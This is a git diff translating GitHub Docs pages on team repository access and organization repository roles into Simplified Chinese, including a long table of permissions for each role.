+7. 检查要从团队删除的仓库，然后单击 **Remove repositories（删除仓库）**。 ![包含团队无法再访问的仓库列表的模态框](/assets/images/help/teams/confirm-remove-team-repos.png)
 
-## Further reading
+## 延伸阅读
 
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
index 7a0e4bbd0d..037a076c6e 100644
--- a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
+++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
@@ -23,11 +23,11 @@ shortTitle: Repository roles
 You can give organization members, outside collaborators, and teams of people different levels of access to repositories owned by an organization by assigning them to roles. Choose the role that best fits each person or team's function in your project without giving people more access to the project than they need.
 
 From least access to most access, the roles for an organization repository are:
-- **Read**: Recommended for non-code contributors who want to view or discuss your project
-- **Triage**: Recommended for contributors who need to proactively manage issues and pull requests without write access
-- **Write**: Recommended for contributors who actively push to your project
-- **Maintain**: Recommended for project managers who need to manage the repository without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need full access to the project, including sensitive and destructive actions like managing security or deleting a repository
+- **读取**：建议授予要查看或讨论项目的非代码参与者
+- **分类**：建议授予需要主动管理议题和拉取请求的参与者，无写入权限
+- **写入**：建议授予积极向项目推送的参与者
+- **维护**：建议授予需要管理仓库的项目管理者，没有执行敏感或破坏性操作的权限
+- **管理员**：建议授予需要完全项目权限的人员，包括执行敏感和破坏性操作，例如管理安全性或删除仓库
 
 {% ifversion fpt %}
 If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
@@ -35,22 +35,22 @@ If your organization uses {% data variables.product.prodname_ghe_cloud %}, you c
 You can create custom repository roles. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
 {% endif %}
 
-Organization owners can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. For more information, see "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)."
+组织所有者可以在访问组织的任何仓库时设置适用于组织所有成员的基本权限。 更多信息请参阅“[设置组织的基本权限](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)”。
 
-Organization owners can also choose to further limit access to certain settings and actions across the organization. For more information on options for specific settings, see "[Managing organization settings](/articles/managing-organization-settings)."
+组织所有者还可以选择进一步限制对整个组织中某些设置和操作的权限。 有关特定设置选项的更多信息，请参阅“[管理组织设置](/articles/managing-organization-settings)”。
 
 In addition to managing organization-level settings, organization owners have admin access to every repository owned by the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
 {% warning %}
 
-**Warning:** When someone adds a deploy key to a repository, any user who has the private key can read from or write to the repository (depending on the key settings), even if they're later removed from the organization.
+**警告：**当有人向仓库添加部署密钥时，拥有私钥的任何用户都可以读取或写入仓库（具体取决于密钥设置），即使他们后来从组织中被删除。
 
 {% endwarning %}
 
 ## Permissions for each role
 
 {% ifversion fpt %}
-Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+下面列出的一些功能仅限于使用 {% data variables.product.prodname_ghe_cloud %} 的组织。 {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
@@ -59,118 +59,135 @@ Some of the features listed below are limited to organizations using {% data var
 **Note:** The roles required to use security features are listed in "[Access requirements for security features](#access-requirements-for-security-features)" below.
 
 {% endnote %}
-{% endif %}
 
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:|
-| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository | | | | | **X** |
-| Pull from the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Fork the person or team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit and delete their own comments | **X** | **X** | **X** | **X** | **X** |
-| Open issues | **X** | **X** | **X** | **X** | **X** |
-| Close issues they opened themselves | **X** | **X** | **X** | **X** | **X** |
-| Reopen issues they closed themselves | **X** | **X** | **X** | **X** | **X** |
-| Have an issue assigned to them | **X** | **X** | **X** | **X** | **X** |
-| Send pull requests from forks of the team's assigned repositories | **X** | **X** | **X** | **X** | **X** |
-| Submit reviews on pull requests | **X** | **X** | **X** | **X** | **X** |
-| View published releases | **X** | **X** | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| View [GitHub Actions workflow runs](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Edit wikis in public repositories | **X** | **X** | **X** | **X** | **X** |
-| Edit wikis in private repositories | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| [Report abusive or spammy content](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| Apply/dismiss labels | | **X** | **X** | **X** | **X** |
-| Create, edit, delete labels | | | **X** | **X** | **X** |
-| Close, reopen, and assign all issues and pull requests | | **X** | **X** | **X** | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-| [Enable and disable auto-merge on a pull request](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **X** | **X** | **X** |{% endif %}
-| Apply milestones |  | **X** | **X** | **X** | **X** |
-| Mark [duplicate issues and pull requests](/articles/about-duplicate-issues-and-pull-requests)| | **X** | **X** | **X** | **X** |
-| Request [pull request reviews](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **X** | **X** | **X** | **X** |
-| Merge a [pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **X** | **X** | **X** |
-| Push to (write) the person or team's assigned repositories | | | **X** | **X** | **X** |
-| Edit and delete anyone's comments on commits, pull requests, and issues | | | **X** | **X** | **X** |
-| [Hide anyone's comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **X** | **X** | **X** |
-| [Lock conversations](/communities/moderating-comments-and-conversations/locking-conversations) | | | **X** | **X** | **X** |
-| Transfer issues (see "[Transferring an issue to another repository](/articles/transferring-an-issue-to-another-repository)" for details) |  | | **X** | **X** | **X** |
-| [Act as a designated code owner for a repository](/articles/about-code-owners) | | | **X** | **X** | **X** |
-| [Mark a draft pull request as ready for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| [Convert a pull request to a draft](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **X** | **X** | **X** |
-| Submit reviews that affect a pull request's mergeability | | | **X** | **X** | **X** |
-| [Apply suggested changes](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) to pull requests | | | **X** | **X** | **X** |
-| Create [status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **X** | **X** | **X** |{% ifversion fpt or ghec %}
-| Create, edit, run, re-run, and cancel [GitHub Actions workflows](/actions/automating-your-workflow-with-github-actions/) | | | **X** | **X** | **X** |{% endif %}
-| Create and edit releases | | | **X** | **X** | **X** |
-| View draft releases | | | **X** | **X** | **X** |
-| Edit a repository's description | | | | **X** | **X** |{% ifversion fpt or ghae or ghec %}
-| [View and install packages](/packages/publishing-and-managing-packages) | **X** | **X** | **X** | **X** | **X** |
-| [Publish packages](/packages/publishing-and-managing-packages/publishing-a-package) | | | **X** | **X** | **X** |
-| {% ifversion fpt or ghes > 3.0 or ghec %}[Delete and restore packages](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Delete packages](/packages/learn-github-packages/deleting-a-package){% endif %} | | |  |  | **X** | {% endif %}
-| Manage [topics](/articles/classifying-your-repository-with-topics) | | | | **X** | **X** |
-| Enable wikis and restrict wiki editors | | | | **X** | **X** |
-| Enable project boards | | | | **X** | **X** |
-| Configure [pull request merges](/articles/configuring-pull-request-merges) | | | | **X** | **X** |
-| Configure [a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **X** | **X** |
-| [Push to protected branches](/articles/about-protected-branches) | | | | **X** | **X** |
-| [Create and edit repository social cards](/articles/customizing-your-repositorys-social-media-preview) | | | | **X** | **X** |{% ifversion fpt or ghec %}
-| Limit [interactions in a repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **X** | **X** |{% endif %}
-| Delete an issue (see "[Deleting an issue](/articles/deleting-an-issue)") | | | | | **X** |
-| Merge pull requests on protected branches, even if there are no approving reviews | | | | | **X** |
-| [Define code owners for a repository](/articles/about-code-owners) | | | | | **X** |
-| Add a repository to a team (see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" for details) | | | | | **X** |
-| [Manage outside collaborator access to a repository](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **X** |
-| [Change a repository's visibility](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **X** |
-| Make a repository a template (see "[Creating a template repository](/articles/creating-a-template-repository)") | | | | | **X** |
-| Change a repository's settings | | | | | **X** |
-| Manage team and collaborator access to the repository | | | | | **X** |
-| Edit the repository's default branch | | | | | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| Rename the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | | | **X** |
-| Rename a branch other than the repository's default branch (see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)") | | | **X** | **X** | **X** |{% endif %}
-| Manage webhooks and deploy keys | | | | | **X** |{% ifversion fpt or ghec %}
-| [Manage data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository) | | | | | **X** |{% endif %}
-| [Manage the forking policy for a repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **X** |
-| [Transfer repositories into the organization](/articles/restricting-repository-creation-in-your-organization) | | | | | **X** |
-| [Delete or transfer repositories out of the organization](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **X** |
-| [Archive repositories](/articles/about-archiving-repositories) | | | | | **X** |{% ifversion fpt or ghec %}
-| Display a sponsor button (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") | | | | | **X** |{% endif %}
-| Create autolink references to external resources, like JIRA or Zendesk (see "[Configuring autolinks to reference external resources](/articles/configuring-autolinks-to-reference-external-resources)") | | | | | **X** |{% ifversion fpt or ghec %}
-| [Enable {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) in a repository | | | | **X** | **X** |
-| [Create and edit categories](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository) for {% data variables.product.prodname_discussions %} | | | | **X** | **X** |
-| [Move a discussion to a different category](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Transfer a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) to a new repository| | | **X** | **X** | **X** |
-| [Manage pinned discussions](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Convert issues to discussions in bulk](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository) | | | **X** | **X** | **X** |
-| [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **X** | **X** | **X** | **X** |
-| [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **X** | **X** | **X** | **X** | **X** |
-| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion) | | | | **X** | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [codespaces](/codespaces/about-codespaces) | | | **X** | **X** | **X** |{% endif %}
+{% endif %}
+| 仓库操作                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |  读取   |  分类   |  写入   |  维护   |                           管理员                            |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:-----:|:-----:|:--------------------------------------------------------:|
+| Manage [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), [team](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository), and [outside collaborator](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) access to the repository |       |       |       |       |                          **X**                           |
+| 从人员或团队的已分配仓库拉取                                                                                                                                                                                                                                                                                                                                                                                                                                                              | **X** | **X** | **X** | **X** |                          **X**                           |
+| 复刻人员或团队的已分配仓库                                                                                                                                                                                                                                                                                                                                                                                                                                                               | **X** | **X** | **X** | **X** |                          **X**                           |
+| 编辑和删除自己的评论                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | **X** | **X** | **X** | **X** |                          **X**                           |
+| 打开议题                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | **X** | **X** | **X** | **X** |                          **X**                           |
+| 关闭自己打开的议题                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | **X** | **X** | **X** | **X** |                          **X**                           |
+| 重新打开自己关闭的议题                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | **X** | **X** | **X** | **X** |                          **X**                           |
+| 受理议题                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | **X** | **X** | **X** | **X** |                          **X**                           |
+| 从团队已分配仓库的复刻发送拉取请求                                                                                                                                                                                                                                                                                                                                                                                                                                                           | **X** | **X** | **X** | **X** |                          **X**                           |
+| 提交拉取请求审查                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | **X** | **X** | **X** | **X** |                          **X**                           |
+| 查看已发布的版本                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | **X** | **X** | **X** | **X** |            **X** |{% ifversion fpt or ghec %}
+| 查看 [GitHub Actions 工作流程运行](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run)                                                                                                                                                                                                                                                                                                                                                                   | **X** | **X** | **X** | **X** |                    **X** 
+{% endif %}
+| 编辑公共仓库中的 Wiki                                                                                                                                                                                                                                                                                                                                                                                                                                                               | **X** | **X** | **X** | **X** |                          **X**                           |
+| 编辑私有仓库中的 Wiki                                                                                                                                                                                                                                                                                                                                                                                                                                                               |       |       | **X** | **X** |            **X** |{% ifversion fpt or ghec %}
+| [举报滥用或垃圾内容](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)                                                                                                                                                                                                                                                                                                                                                                                         | **X** | **X** | **X** | **X** |                    **X** 
+{% endif %}
+| 应用/忽略标签                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |       | **X** | **X** | **X** |                          **X**                           |
+| 创建、编辑、删除标签                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |       |       | **X** | **X** |                          **X**                           |
+| 关闭、重新打开和分配所有议题与拉取请求                                                                                                                                                                                                                                                                                                                                                                                                                                                         |       | **X** | **X** | **X** | **X** |{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+| [在拉取请求上启用和禁用自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)                                                                                                                                                                                                                                                                                                                                                              |       |       | **X** | **X** |                    **X** 
+{% endif %}
+| 应用里程碑                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |       | **X** | **X** | **X** |                          **X**                           |
+| 标记[重复的议题和拉取请求](/articles/about-duplicate-issues-and-pull-requests)                                                                                                                                                                                                                                                                                                                                                                                                          |       | **X** | **X** | **X** |                          **X**                           |
+| 申请[拉取请求审查](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)                                                                                                                                                                                                                                                                                                                              |       | **X** | **X** | **X** |                          **X**                           |
+| 合并[拉取请求](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)                                                                                                                                                                                                                                                                                                                                                      |       |       | **X** | **X** |                          **X**                           |
+| 推送到（写入）人员或团队的已分配仓库                                                                                                                                                                                                                                                                                                                                                                                                                                                          |       |       | **X** | **X** |                          **X**                           |
+| 编辑和删除任何人对提交、拉取请求和议题的评论                                                                                                                                                                                                                                                                                                                                                                                                                                                      |       |       | **X** | **X** |                          **X**                           |
+| [隐藏任何人的评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)                                                                                                                                                                                                                                                                                                                                                                                 |       |       | **X** | **X** |                          **X**                           |
+| [锁定对话](/communities/moderating-comments-and-conversations/locking-conversations)                                                                                                                                                                                                                                                                                                                                                                                            |       |       | **X** | **X** |                          **X**                           |
+| 转让议题（更多信息请参阅“[将议题转让给其他仓库](/articles/transferring-an-issue-to-another-repository)”）                                                                                                                                                                                                                                                                                                                                                                                          |       |       | **X** | **X** |                          **X**                           |
+| [作为仓库的指定代码所有者](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                                                                 |       |       | **X** | **X** |                          **X**                           |
+| [将拉取请求草稿标记为可供审查](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                                                                    |       |       | **X** | **X** |                          **X**                           |
+| [将拉取请求转换为草稿](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)                                                                                                                                                                                                                                                                                                                        |       |       | **X** | **X** |                          **X**                           |
+| 提交影响拉取请求可合并性的审查                                                                                                                                                                                                                                                                                                                                                                                                                                                             |       |       | **X** | **X** |                          **X**                           |
+| 对拉取请求[应用建议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)                                                                                                                                                                                                                                                                                                                              |       |       | **X** | **X** |                          **X**                           |
+| 创建[状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)                                                                                                                                                                                                                                                                                                                                      |       |       | **X** | **X** |            **X** |{% ifversion fpt or ghec %}
+| 创建、编辑、运行、重新运行和取消 [GitHub Actions 工作流程](/actions/automating-your-workflow-with-github-actions/)                                                                                                                                                                                                                                                                                                                                                                              |       |       | **X** | **X** |                    **X** 
+{% endif %}
+| 创建和编辑发行版                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |       |       | **X** | **X** |                          **X**                           |
+| 查看发行版草稿                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |       |       | **X** | **X** |                          **X**                           |
+| 编辑仓库的说明                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |       |       |       | **X** |        **X** |{% ifversion fpt or ghae or ghec %}
+| [查看和安装包](/packages/publishing-and-managing-packages)                                                                                                                                                                                                                                                                                                                                                                                                                        | **X** | **X** | **X** | **X** |                          **X**                           |
+| [发布包](/packages/publishing-and-managing-packages/publishing-a-package)                                                                                                                                                                                                                                                                                                                                                                                                      |       |       | **X** | **X** |                          **X**                           |
+|                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |       |       |       |       |                                                          |
+| {% ifversion fpt or ghes > 3.0 or ghec or ghae %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}                                                                                                                                                                                                                                                       |       |       |       |       |                   **X** | {% endif %}
+| 管理[主题](/articles/classifying-your-repository-with-topics)                                                                                                                                                                                                                                                                                                                                                                                                                   |       |       |       | **X** |                          **X**                           |
+| 启用 wiki 和限制 wiki 编辑器                                                                                                                                                                                                                                                                                                                                                                                                                                                        |       |       |       | **X** |                          **X**                           |
+| 启用项目板                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |       |       |       | **X** |                          **X**                           |
+| 配置[拉取请求合并](/articles/configuring-pull-request-merges)                                                                                                                                                                                                                                                                                                                                                                                                                       |       |       |       | **X** |                          **X**                           |
+| 配置[ {% data variables.product.prodname_pages %} 的发布源](/articles/configuring-a-publishing-source-for-github-pages)                                                                                                                                                                                                                                                                                                                                                           |       |       |       | **X** |                          **X**                           |
+| [推送到受保护分支](/articles/about-protected-branches)                                                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       | **X** |                          **X**                           |
+| [创建和编辑仓库社交卡](/articles/customizing-your-repositorys-social-media-preview)                                                                                                                                                                                                                                                                                                                                                                                                   |       |       |       | **X** |            **X** |{% ifversion fpt or ghec %}
+| 限制[仓库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                                     |       |       |       | **X** |                    **X** 
+{% endif %}
+| 删除议题（请参阅“[删除议题](/articles/deleting-an-issue)”）                                                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       |       |                          **X**                           |
+| 合并受保护分支上的拉取请求（即使没有批准审查）                                                                                                                                                                                                                                                                                                                                                                                                                                                     |       |       |       |       |                          **X**                           |
+| [定义仓库的代码所有者](/articles/about-code-owners)                                                                                                                                                                                                                                                                                                                                                                                                                                   |       |       |       |       |                          **X**                           |
+| 将仓库添加到团队（详细信息请参阅“[管理团队对组织仓库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)”）                                                                                                                                                                                                                                                                                |       |       |       |       |                          **X**                           |
+| [管理外部协作者对仓库的权限](/articles/adding-outside-collaborators-to-repositories-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                                |       |       |       |       |                          **X**                           |
+| [更改仓库的可见性](/articles/restricting-repository-visibility-changes-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                                        |       |       |       |       |                          **X**                           |
+| 将仓库设为模板（请参阅“[创建模板仓库](/articles/creating-a-template-repository)”）                                                                                                                                                                                                                                                                                                                                                                                                            |       |       |       |       |                          **X**                           |
+| 更改仓库设置                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |       |       |       |       |                          **X**                           |
+| 管理团队和协作者对仓库的权限                                                                                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       |       |                          **X**                           |
+| 编辑仓库的默认分支                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |       |       |       |       | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| 重命名仓库的默认分支（请参阅“[重命名分支](/github/administering-a-repository/renaming-a-branch)”）                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       |       |                          **X**                           |
+| 重命名仓库默认分支以外的分支（请参阅“[重命名分支](/github/administering-a-repository/renaming-a-branch)”）                                                                                                                                                                                                                                                                                                                                                                                          |       |       | **X** | **X** |                    **X** 
+{% endif %}
+| 管理 web 挂钩和部署密钥                                                                                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       |       |            **X** |{% ifversion fpt or ghec %}
+| [管理私有仓库的数据使用设置](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)                                                                                                                                                                                                                                                                                                                                        |       |       |       |       |                    **X** 
+{% endif %}
+| [管理仓库的复刻策略](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)                                                                                                                                                                                                                                                                                                                                                                             |       |       |       |       |                          **X**                           |
+| [将仓库转让给组织](/articles/restricting-repository-creation-in-your-organization)                                                                                                                                                                                                                                                                                                                                                                                                  |       |       |       |       |                          **X**                           |
+| [删除仓库或将仓库转让到组织外部](/articles/setting-permissions-for-deleting-or-transferring-repositories)                                                                                                                                                                                                                                                                                                                                                                                  |       |       |       |       |                          **X**                           |
+| [存档仓库](/articles/about-archiving-repositories)                                                                                                                                                                                                                                                                                                                                                                                                                              |       |       |       |       |            **X** |{% ifversion fpt or ghec %}
+| 显示赞助按钮（请参阅“[在仓库中显示赞助按钮](/articles/displaying-a-sponsor-button-in-your-repository)”）。                                                                                                                                                                                                                                                                                                                                                                                        |       |       |       |       |                    **X** 
+{% endif %}
+| 创建到外部资源的自动链接引用，如 JIRA 或 Zendesk（请参阅“[配置自动链接以引用外部资源](/articles/configuring-autolinks-to-reference-external-resources)”）                                                                                                                                                                                                                                                                                                                                                      |       |       |       |       |            **X** |{% ifversion fpt or ghec %}
+| 在仓库中[启用 {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)                                                                                                                                                                                                                                                                                                                    |       |       |       | **X** |                          **X**                           |
+| 为 {% data variables.product.prodname_discussions %} [创建和编辑类别](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                  |       |       |       | **X** |                          **X**                           |
+| [将讨论移动到其他类别](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                                  |       |       | **X** | **X** |                          **X**                           |
+| [将讨论转移到](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)新仓库                                                                                                                                                                                                                                                                                                                                                                   |       |       | **X** | **X** |                          **X**                           |
+| [管理置顶的讨论](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                                     |       |       | **X** | **X** |                          **X**                           |
+| [批量将议题转换为讨论](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)                                                                                                                                                                                                                                                                                                                                                                  |       |       | **X** | **X** |                          **X**                           |
+| [锁定和解锁讨论](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                                                      |       | **X** | **X** | **X** |                          **X**                           |
+| [单独将议题转换为讨论](/discussions/managing-discussions-for-your-community/moderating-discussions)                                                                                                                                                                                                                                                                                                                                                                                   |       | **X** | **X** | **X** |                          **X**                           |
+| [创建新的讨论并对现有讨论发表评论](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)                                                                                                                                                                                                                                                                                                                                                          | **X** | **X** | **X** | **X** |                          **X**                           |
+| [删除讨论](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)                                                                                                                                                                                                                                                                                                                                                  |       | **X** |       | **X** |      **X** |{% endif %}{% ifversion fpt or ghec %}
+| 创建 [codespaces](/codespaces/about-codespaces)                                                                                                                                                                                                                                                                                                                                                                                                                               |       |       | **X** | **X** |                    **X** 
+{% endif %}
 
 ### Access requirements for security features
 
 In this section, you can find the access required for security features, such as {% data variables.product.prodname_advanced_security %} features.
 
-| Repository action | Read | Triage | Write | Maintain | Admin |
-|:---|:---:|:---:|:---:|:---:|:---:| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| Receive [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in a repository | | | | | **X** |
-| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **X** |
-| [Designate additional people or teams to receive security alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **X** |{% endif %}{% ifversion fpt or ghec %}
-| Create [security advisories](/code-security/security-advisories/about-github-security-advisories) | | | | | **X** |{% endif %} 
-| Manage access to {% data variables.product.prodname_GH_advanced_security %} features (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **X** |{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
-| [Enable the dependency graph](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) for a private repository | | | | | **X** |{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-| [View dependency reviews](/code-security/supply-chain-security/about-dependency-review) | **X** | **X** | **X** | **X** | **X** |{% endif %}
-| [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **X** | **X** | **X** | **X** | **X** |
-| [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **X** | **X** | **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |
